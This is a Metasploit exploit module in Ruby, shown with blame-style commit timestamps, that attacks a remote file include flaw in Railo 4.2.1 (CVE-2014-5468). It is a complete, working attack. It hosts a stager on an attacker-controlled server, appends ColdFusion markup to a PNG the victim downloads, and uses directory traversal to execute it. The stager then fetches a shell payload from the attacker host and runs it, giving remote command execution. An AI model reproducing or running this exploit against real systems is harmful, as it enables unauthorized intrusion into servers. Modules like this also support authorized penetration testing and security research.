metasploit-framework/modules/exploits/linux/http/railo_cfml_rfi.rb

178 lines
5.0 KiB
Ruby
Raw Normal View History

2014-08-28 13:42:07 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
require 'msf/core'
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Railo Remote File Include',
2014-08-29 22:33:15 +00:00
'Description' => %q{
This module exploits a remote file include vulnerability in Railo,
2014-08-30 14:22:58 +00:00
tested against version 4.2.1. First, a call using a vulnerable
2014-09-03 02:35:47 +00:00
<cffile> line in thumbnail.cfm allows an atacker to download an
arbitrary PNG file. By appending a .cfm, and taking advantage of
2014-08-29 22:33:15 +00:00
a directory traversal, an attacker can append cold fusion markup
2014-09-03 02:35:47 +00:00
to the PNG file, and have it interpreted by the server. This is
2014-08-29 22:33:15 +00:00
used to stage and execute a fully-fledged payload.
},
2014-08-28 13:42:07 +00:00
'License' => MSF_LICENSE,
'Author' => [
2014-08-29 22:33:15 +00:00
'Bryan Alexander <drone@ballastsecurity.net>', #Discovery/PoC
2014-08-28 13:42:07 +00:00
'bperry' #metasploited
],
2014-08-29 22:33:15 +00:00
'References' => [
['CVE', '2014-5468'],
['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']
],
2014-08-28 13:42:07 +00:00
'Payload' => {
'Space' => 99999, #if there is disk space, I think we will fit
'BadChars' => "",
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
2014-08-29 22:33:15 +00:00
'RequiredCmd' => 'generic netcat perl ruby python bash telnet'
2014-08-28 13:42:07 +00:00
}
},
'Platform' => %w{ unix },
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
},
],
],
'DefaultTarget' => 0,
2014-08-29 22:33:15 +00:00
'DisclosureDate' => 'Aug 26 2014'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
], self.class)
2014-08-28 13:42:07 +00:00
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
def check
2014-09-03 02:35:47 +00:00
res = send_request_cgi({
'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm')
})
return Exploit::CheckCode::Appears if res and res.code == 200
return Exploit::CheckCode::Safe
2014-08-28 13:42:07 +00:00
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
def exploit
if datastore['SRVHOST'] == '0.0.0.0'
2014-08-29 22:33:15 +00:00
fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
2014-08-28 13:42:07 +00:00
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
@shell_name = Rex::Text.rand_text_alpha(15)
stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_stager(cli, req)
},
'Path' => '/' + stager_name
}})
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_shell(cli, req)
},
'Path' => '/' + @shell_name
}})
2014-08-29 22:33:15 +00:00
wh = '5000' #width and height
2014-08-28 13:42:07 +00:00
res = send_request_cgi({
2014-09-03 02:35:47 +00:00
'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
2014-08-28 13:42:07 +00:00
'vars_get' => {
'img' => url + '/' + stager_name,
2014-08-29 22:33:15 +00:00
'height' => wh,
'width' => wh
2014-08-28 13:42:07 +00:00
}
})
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
unless (res && res.code == 500)
2014-08-29 22:33:15 +00:00
fail_with(Failure::Unknown, 'Server did not respond in an expected way.')
2014-08-28 13:42:07 +00:00
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
print_status('Waiting for first stage to download...')
2014-08-29 22:33:15 +00:00
i = datastore['STAGEWAIT']
2014-08-28 13:42:07 +00:00
while !@staged && i > 0
select(nil, nil, nil, 1)
print_status("Waiting for #{i} more seconds...")
i = i - 1
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
@staged = false
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
if i == 0
2014-08-29 22:33:15 +00:00
fail_with(Failure::Unknown, 'Server did not request the stager.')
2014-08-28 13:42:07 +00:00
end
2014-08-29 22:33:15 +00:00
hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") #5000 is width and height from GET
2014-08-28 13:42:07 +00:00
hash.upcase!
2014-08-29 22:33:15 +00:00
print_status('Executing stager')
send_request_cgi({
2014-08-28 13:42:07 +00:00
'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
'vars_get' => {
'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
'thistag.executionmode' => 'start'
}
})
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
def on_request_shell(cli, request)
2014-08-29 22:33:15 +00:00
print_status('Sending payload')
2014-08-28 13:42:07 +00:00
send_response(cli, payload.encoded, {})
handler(cli)
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
def on_request_stager(cli, request)
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
2014-08-29 22:33:15 +00:00
stager = "<cfhttp method='get' url='#{url}'"
stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
stager << " file='#{@shell_name}'>"
2014-08-28 13:42:07 +00:00
stager << '<cfexecute name="sh" arguments="'+@shell_name+'" timeout="99999"></cfexecute>'
2014-08-29 22:33:15 +00:00
png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'
png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='
#A very small PNG file
png = Rex::Text.decode_base64(png)
2014-08-28 13:42:07 +00:00
stager.each_byte do |b|
png << b
end
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
png << 0x00
2014-08-29 22:33:15 +00:00
print_status('Sending stage. This might be sent multiple times.')
2014-08-28 13:42:07 +00:00
send_response(cli, png, { 'Content-Type' => 'image/png' })
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
@staged = true
2014-08-29 22:33:15 +00:00
2014-08-28 13:42:07 +00:00
handler(cli)
end
end